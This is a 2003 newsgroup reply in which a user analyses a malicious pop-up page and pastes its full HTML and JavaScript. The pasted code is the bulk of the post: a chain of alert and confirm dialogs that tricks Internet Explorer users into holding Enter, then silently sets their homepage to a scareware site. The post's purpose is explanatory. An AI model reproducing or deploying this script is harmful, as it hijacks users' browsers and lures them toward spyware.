Re: Dialogue screen says "Hold down enter key for 10 seconds to see a cool trick"

From: Neil McCurdy (nemccurd_at_cs.ucsd.edu)
Date: 12/07/03 

Date: 7 Dec 2003 13:29:43 -0800

Hi Al --

I just had the same thing, and was curious what it was so I did a
little sleuthing. If you had held down the enter key you would have
made the following site your homepage:
http://default-homepage-network.com/start.cgi?hometest

What that page does is pop up a bunch of ie windows, open your cd rom
drive, open notepad, and warn you that you're susceptible to spyware.
It then encourages you to install their spyware removal software
(which I'm sure just adds more spyware!).

I haven't rebooted after applying the latest microsoft security patch.
 I'm a little concerned that a web page can open my cd rom drive and
run notepad, obviously. Hopefully that patch fixes the problem.

The html of the original page follows in case you're interested.

Neil 

---
GET /console/home.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET
CLR 1.1.4322)
Host: object.passthison.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Sun, 07 Dec 2003 16:05:28 GMT
Server: Apache/1.3.26 (Unix)
Last-Modified: Sat, 06 Dec 2003 21:48:03 GMT
ETag: "a0406-ec5-3fd24e93"
Accept-Ranges: bytes
Content-Length: 3781
Connection: close
Content-Type: text/html
<HTML XMLNS:IE>
<head>
<title>Windows</title>
<STYLE>
@media all {
   IE\:HOMEPAGE {behavior:url(#default#homepage)}
}
</STYLE>
<IE:HOMEPAGE ID="homepage" />
<script language=Javascript>
function pop(){
  var expdate = new Date((new Date()).getTime() + 172800000);
  if (-1 == -1) {
    document.cookie="home=general; expires=" + expdate.toGMTString() +
"; path=/;";
     
  if(ie){ homepage.setHomePage("http://default-homepage-network.com/start.cgi?hometest");
  } 
 }
//self.close();
 }
var ie = false; 
var ns = false;
if(parseInt(navigator.appVersion) >= 4){
  if(navigator.appName.indexOf("crosoft") != -1) ie = true;
  if(navigator.appName.indexOf("etscape") != -1) ns = true;
}
</script>
</head>
<body  bgcolor=red leftborder=0 topborder=0 borderleft=0 bordertop=0>
<script language=javascript>
<!--
    var agt=navigator.userAgent.toLowerCase(); 
    var is_ie   = (agt.indexOf("msie") != -1); 
    var is_aol   = (agt.indexOf("aol") != -1);
    
if (!is_aol) {
self.moveTo(0,0);
self.resizeTo(screen.availWidth,screen.availHeight);
}
//-->
</script>
<script language=javascript>
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
alert("DON'T CLICK OK -- JUST HOLD DOWN THE ENTER KEY FOR 10
SECONDS");
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
alert("ON SOME COMPUTER IT'S THE RETURN KEY, NOT THE ENTER KEY");
alert("NOW PRESS IT DOWN AND HOLD IT FOR 10 SECONDS");
alert("DON'T JUST CLICK IT - HOLD IT DOWN FOR 10 SECONDS");
alert("HOLD DOWN THE ENTER OR RETURN KEY FOR 10 SECONDS TO SEE A COOL
TRICK!");
alert("THIS WON'T WORK UNLESS YOU HOLD IT DOWN");
alert("THIS WON'T WORK UNLESS YOU HOLD THE ENTER KEY DOWN FOR 10
SECONDS");
alert("HITTING THE X WON'T WORK EITHER!");
if (confirm("DON'T HIT THE CANCEL OR NO BUTTONS - JUST HOLD DOWN THE
ENTER KEY TO SEE THE TRICK"))
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
else
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
if (confirm("DON'T HIT THE CANCEL OR NO BUTTONS - JUST HOLD DOWN THE
ENTER KEY TO SEE THE TRICK"))
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
else
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
if (confirm("DON'T HIT THE CANCEL OR NO BUTTONS - JUST HOLD DOWN THE
ENTER KEY TO SEE THE TRICK"))
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
else
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
if (confirm("DON'T HIT THE CANCEL OR NO BUTTONS - JUST HOLD DOWN THE
ENTER KEY TO SEE THE TRICK"))
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
else
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
if (confirm("DON'T HIT THE CANCEL OR NO BUTTONS - JUST HOLD DOWN THE
ENTER KEY TO SEE THE TRICK"))
{
alert("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL TRICK!");
}
else
{
alert("LAST CHANCE TO HOLD DOWN THE ENTER KEY FOR 10 SECONDS!!");
}
if (confirm("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL
TRICK!"))
{
pop();
}
else
{
pop();
}
if (confirm("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL
TRICK!"))
{
pop();
}
else
{
pop();
}
if (confirm("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL
TRICK!"))
{
pop();
}
else
{
pop();
}
if (confirm("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL
TRICK!"))
{
pop();
}
else
{
pop();
}
if (confirm("HOLD DOWN THE ENTER KEY FOR 10 SECONDS TO SEE A COOL
TRICK!"))
{
pop();
}
else
{
pop();
}
window.open('Starfield3D.htm');
self.close();
</script>
</body>
</html>
"Al" <anonymous@discussions.microsoft.com> wrote in message news:<03b701c3bc91$d1865f30$a501280a@phx.gbl>...
> While I had internet explorer running suddenly i recieved 
> a red screen with a dialogue instructing me to "hold down 
> enter key for 10 seconds to see a cool trick"  I tried to 
> cancel but new dialogues appeared telling me the only way 
> I could get out was to "hold down enter key for 10 seconds 
> to see a cool trick".  It only diaappeared when I used 
> task manager to squash internet explorer.  Does anyone 
> know what this is?
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